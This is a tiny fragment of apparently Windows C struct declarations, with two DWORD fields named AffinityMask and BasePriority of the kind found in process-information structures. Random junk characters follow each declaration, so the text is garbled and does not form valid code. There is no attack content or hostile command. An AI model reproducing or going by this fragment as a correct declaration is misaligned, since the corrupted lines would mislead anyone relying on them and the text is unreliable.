DWORD AffinityMask; pSM\(kVKa
DWORD BasePriority; XJ &